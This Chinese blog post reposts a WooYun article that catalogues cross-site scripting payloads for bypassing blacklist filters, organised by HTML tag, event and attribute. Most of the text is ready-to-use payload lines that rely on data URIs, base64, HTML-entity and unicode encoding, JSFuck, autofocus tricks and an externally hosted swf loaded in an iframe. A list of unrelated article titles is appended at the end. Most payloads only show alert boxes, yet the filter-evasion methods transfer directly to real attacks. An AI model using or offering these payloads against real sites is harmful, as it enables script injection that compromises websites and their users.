这么久没发文章,因为很忙。。为了防止站点被老顾客嫌弃,转载一篇来自乌云的文章吧:《那些年我们没能bypass的xss filter》

原文链接:https://www.leavesongs.com/PENETRATION/xss-collect.html

小弟初学xss才10天。不过个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列出来和大家一起分享。很希望大家能把自己的一些payload也分享出来。(由于我是linux党,所以本文出现在的所有payload只在firefox和chrome之下进行过测试。IE不在本文的讨论范围之内。本文只以直接输出在HTML的情况为中心进行探讨。)有错误的地方还请大家不吝赐教。

在XSS的世界里,有很多标签,事件,属性都是可以拿来执行js的。但是又都有哪一些呢?

可以执行js的标签:

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

所有的event都是可以执行js:

onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

可以执行js的属性:

formaction action href xlink:href autofocus src content data

我们为什么要去理解这些呢?因为很多网站的filter都是基于黑名单的,而因为自身对可以执行js的标签,事件和属性的不了解,会导致你绕不过这个filter或者饶一个很大的弯子(当然也会有很多放弃的例子)。也许你正在尝试跳出的双引号是不需要跳出去的。也许你正在尝试跳出去的标签也是不需要跳出去的。因为你已经站在了可以插入js的地方却浑然不知。这也是写本文最主要的原因。下面我将以问答的方式,对各个payload进行简单的介绍。

我们真的需要一个合法的标签么?

<M/οnclick="alert(1)">M

当目标站对关键tag做了黑名单过滤的时候,你也许可以尝试一下自定义标签。

标签和属性之间只能出现空格么?

<img/src=x οnerrοr=alert(1)>

在有些情况下我们可以使用"/"来代替空格

二十个字符真的是最短的?

<b/οndrag=alert()>M  //其实19个字符是可以有的。请在IE下测试(wineIE8测试通过)

你真的了解【a标签】么? 
你也许会告诉我,谁不知道啊!不就href里面搞个javascript伪协议然后调用js不就完了。如果你真得这么认为的话,那么我觉得你已经完了。在href当中我们不仅仅可以使用javascript我们还可以使用data URI来调用我们的js代码,像这样: 
<a href=javascript:alert(2)>M 
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
可以看到第一个例子就是我们最常见的方法,通过javascript伪造协议来调用js了。而在第二个例子当中我们可以看到我们不但通过data协议来执行了javascript还对我们的payload进行了base64编码。我们可以解码看一下PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什么。解码之后我们可以看到是<script>alert(3)</script>。聪明的人又会说了还整base64老子直接写也能弹。如果目标站点对<script>进行了过滤,那么也许你的payload就会死在半路上了。当然编码方式还有很多比如urlencode,hex,demical和HTML实体编码 
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
当你在测试payload的时候你应该多细心善于了解filter真正的在过滤什么。也许它只是把":"添加到了黑名单当中,来防止你来通过伪造协议执行js,而你却认为整个javascript或data都被过滤了。在这种情况下你就可以考虑通过html实体编码来bypass了. 
<a href=javascript&colon;confirm(2)>M
其实a标签拥有的不止是href.在一些猥琐的组合之下,我们可以用这种组合来让xlink:href执行js. 
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
<math><a xlink:href=javascript:alert(1)>M
【script标签】之弹窗姿势知多少 
很多时候我们都会用<script>alert(1)</script>来测试XSS脆弱性。但是太过于规范的姿势往往会死在半路上(因为有filter的嘛)。所以我们需要更多的姿势,来判断真正的过滤规则到底是什么。相信我,程序员的安全水平都是参差不起的,过滤alert()的程序员我也碰到过。(此处省略3W字的吐槽) 
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> //想玩这个,可以在这里转换你的编码 http://www.jsfuck.com/ 
<script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签 
<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script> // 
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码 
<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗 
<script>alert(/3/)</script> //可以用"/"来代替单引号和双引号 
<script>alert(String.fromCharCode(49))</script> //我们还可以用char 
<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行 
<script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
【button标签】 
应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子. 
<button/οnclick=alert(1) >M</button>
那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势 
<form><button formaction=javascript&colon;alert(1)>M
也许看到这里就有人会吐槽,这种需要用户交互的啊 bla,bla,bla..(几个小时过去了)如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。 
<button οnfοcus=alert(1) autofocus>
【p标签】 
如果你发现变量输出在了p标签里,先不要急着从标签跳出去,因为只要你能跳出""就已经足够了。 
<p/οnmοuseοver=javascript:alert(1); >M</p>
【img标签】 
img标签没有什么好讲的了。不过值得注意的是,有些姿势是因浏览器不通而不能成功的执行的。所以在空闲时间对payload进行分类,做上可执行浏览器的注释来提高你挖掘XSS的效率。 
<img src=x οnerrοr=alert(1)> 
<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效 
<img src=x οnerrοr=window.open('http://google.com');> 
<img/src/οnerrοr=alert(1)>  //只在chrome下有效 
<img src="x:kcf" οnerrοr="alert(1)">
【body标签】 
没有什么特别之处,都是通过event来调用js 
<body οnlοad=alert(1)> 
<body οnscrοll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 
【var标签】 
<var οnmοuseοver="prompt(1)">KCF</var>
【div标签】 
<div/οnmοuseοver='alert(1)'>X 
<div style="position:absolute;top:0;left:0;width:100%;height:100%" οnclick="alert(52)">
【iframe标签】 
iframe这个例子当中值得一提的是,有时候我们可以通过实体编码&NewLine;&Tab(换行和tab字符)来bypass一些filter。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“
"允许从外部调用swf时,我们才可以通过flash来实现xss attack. 
<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>   
<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 
<iframe SRC="http://0x.lv/xss.swf"></iframe> 
<IFRAME SRC="javascript:alert(1);"></IFRAME> 
<iframe/οnlοad=alert(53)></iframe>
【meta标签】 
很多时候,在做xss测试时,你会发现你的昵称,文章标题跑到俄meta标签里。那么你只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload了。当然一些猥琐流的玩法,会通过给http-equiv设置set-cookie来,进一步重新设置cookie来干一些猥琐的事情 
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
【object标签】 
和a标签的href属性玩法是一样的,不过优点是无须交互。 
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
【marquee标签】 
<marquee  onstart="alert('sometext')"></marquee>
【isindex标签】 
第二个例子,值得我们注意一的是在一些只针对属性做了过滤的webapp当中,action很可能就是漏网之鱼。 
<isindex type=image src=1 οnerrοr=alert(1)> 
<isindex action=javascript:alert(1) type=image>
【input标签】 
没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。 
<input οnfοcus=javascript:alert(1) autofocus> 
<input οnblur=javascript:alert(1) autofocus><input autofocus>
【select标签】 
<select οnfοcus=javascript:alert(1) autofocus>
【textarea标签】 
<textarea οnfοcus=javascript:alert(1) autofocus>
【keygen标签】 
<keygen οnfοcus=javascript:alert(1) autofocus>
【frameset标签】 
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 
<frameset οnlοad=alert(1)>
【embed标签】 
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
<embed src=javascript:alert(1)> //firefox
【svg标签】 
<svg οnlοad="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 
<svg xmlns="http://www.w3.org/2000/svg"><g οnlοad="javascript:alert(1)"></g></svg>  //chrome有效
【math标签】 
<math href="javascript:javascript:alert(1)">CLICKME</math> 
<math><y/xlink:href=javascript:alert(51)>test1 
<math> <maction actiontype="statusline#http://wangnima.com" 
xlink:href="javascript:alert(49)">CLICKME</maction> </math>
【video标签】 
<video><source οnerrοr="alert(1)"> 
<video src=x οnerrοr=alert(48)>
【audio标签】 
<audio src=x οnerrοr=alert(47)>
姿势的介绍就在这里结束了。 
说句题外话 在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的。但是这个对测试者来说是很方便的。因为你可以通过一个payload来测试好几个黑名单成员

转载于:https://www.cnblogs.com/nul1/p/11087306.html

那些年我们没能bypass的xss filter[from wooyun]相关推荐

  1. xss绕过字符过滤_IE8 xss filter bypass (xss过滤器绕过)

    简要描述: IE 8 XSS 过滤器绕过.感谢@Sogili牛为本绕过通用性实现上提供的tricks. 详细说明: 1. 在IE8中,可以通过 <?import> + 的方式来构成一个XS ...

  2. A XSS filter for Java EE web apps--转载

    原文地址:http://java.dzone.com/articles/xss-filter-java-ee-web-apps Cross Site Scripting, or XSS, is a f ...

  3. 使用spring的DelegatingFilterProxy 写xss filter

    最近需要写个xss过滤器,将访问网站的所有请求参数都进行xss过滤,过滤的api使用的是antisamy-1.4.4 java代码 public class XssFilter implements ...

  4. Xss Bypass备忘录

    技术要发展,免不了风波. 也许这些攻攻防防会更好的促进技术的发展也说不定 就让这一次次的爆破换来将来更精练的技术的无比的宁静吧 我们静观其变吧! 缅怀当初那份最纯真Hacker精神!! 2017.深圳 ...

  5. Bypass上传与Bypass XSS

    Bypass,通俗理解就是绕过的意思,绕过WAF 文章目录 一.Bypass上传 二.Bypass XSS 一.Bypass上传 (1)加分号  抓包,在文件名后加分号,也可在文件名中间加  file ...

  6. 【XSS技巧拓展】————15、Chrome 是怎么过滤反射型 XSS 的呢?

    XSS,即跨站脚本攻击,是Web程序中常见的漏洞,其原理是恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会自动执行,从而达到恶意攻击用户的目的.为了防 ...

  7. 万字讲解9种Web应用攻击与防护安全。XSS、CSRF、SQL注入等是如何实现的

    OWASP(开放Web软体安全项目- Open Web Application Security Project) 是一个开源的.非盈利的全球性安全组织,致力于应用软件的安全研究.使命 是使应用软件更 ...

  8. xss防御方法base64_XSS 防御方法总结

    1. XSS攻击原理 XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩 ...

  9. 【CyberSecurityLearning 57】XSS

    目录 XSS漏洞 XSS 漏洞概述 * 简介 * XSS 危害 *XXS 漏洞的验证 验证XSS 漏洞存在的PoC 如下 XSS 的分类 * 反射型XSS * 存储型XSS * DOM XSS XSS ...

最新文章

  1. Zookeeper的java实例
  2. uni-app接口封装
  3. 【WCF--初入江湖】11 安全
  4. jQuery原理第四天
  5. apollo权限管理
  6. 印染面料产品出现纬斜疵病,应该怎么防止?
  7. Flutter学习 — 处理点击
  8. html div自动撑起来,解决子级用css float浮动 而父级div没高度不能自适应高度
  9. 骚操作,让 Twitter 员工默写代码,马斯克越来越中国化了
  10. python对接60码平台
  11. ubuntu下海信Hisense E920 usb连接不上的处理与adb的连接
  12. 香港公司章程中英文样本
  13. Spring框架学习之路,完整版 持续更新,有代码仓库对比
  14. 究竟云计算就业前景好不 零基础如何学云计算
  15. 题目 A : 勇士传说
  16. 制作HTML长图的APP,长图制作工具 显示只是一张图片,点开一看却发现有很多张图片|制作长图软件...
  17. 1926:【04NOIP普及组】不高兴的津津
  18. 如何利用好it技术创业_利用和了解IT安全性
  19. C#操作GDAL——(1)空间参考相关
  20. 我的“狡兔三窟”成长计划

热门文章

  1. 二维码的扫描和生成二维码
  2. UVC 1.0 和 UVC 1.1的差别
  3. Java JSON字符串格式解析,数组取值
  4. ssm项目——CRM客户管理系统开发准备
  5. 软件测试是干什么的 发展前景怎样?
  6. 三年级优秀书籍推荐_三年级推荐书单
  7. 开博第一篇 往后余生,唯愿你幸福
  8. commit 提交规范
  9. 大牛教学 | 在51单片机上用C语言实现循环点亮8盏LED灯
  10. 【Java IO模式】Java BIO NIO AIO总结